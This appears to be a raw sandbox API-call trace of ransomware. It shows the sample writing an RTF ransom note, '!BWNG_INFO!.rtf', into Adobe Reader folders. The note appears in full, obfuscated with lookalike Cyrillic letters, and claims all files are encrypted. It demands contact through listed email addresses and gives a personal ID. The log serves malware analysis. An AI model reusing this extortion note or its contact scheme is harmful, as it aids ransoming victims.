il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\nÒ3Ϧ¼­&!:Ü\x9c}Åèî\x1f\x0cû\x0c\x09\x04Î\x8fÅåN2೺\x03\n", lpUsedDefaultChar=0x0) returned 14086 [0034.057] WriteFile (in: hFile=0x1b4, lpBuffer=0x1de0db8*, nNumberOfBytesToWrite=0x3706, lpNumberOfBytesWritten=0x390fdbc, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesWritten=0x390fdbc*=0x3706, lpOverlapped=0x0) returned 1 [0034.058] CloseHandle (hObject=0x1b4) returned 1 [0034.058] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CZE\\!BWNG_INFO!.rtf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\cze\\!bwng_info!.rtf")) returned 0xffffffff [0034.058] GetLastError () returned 0x2 [0034.058] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CZE\\!BWNG_INFO!.rtf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\cze\\!bwng_info!.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b4 [0034.058] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd 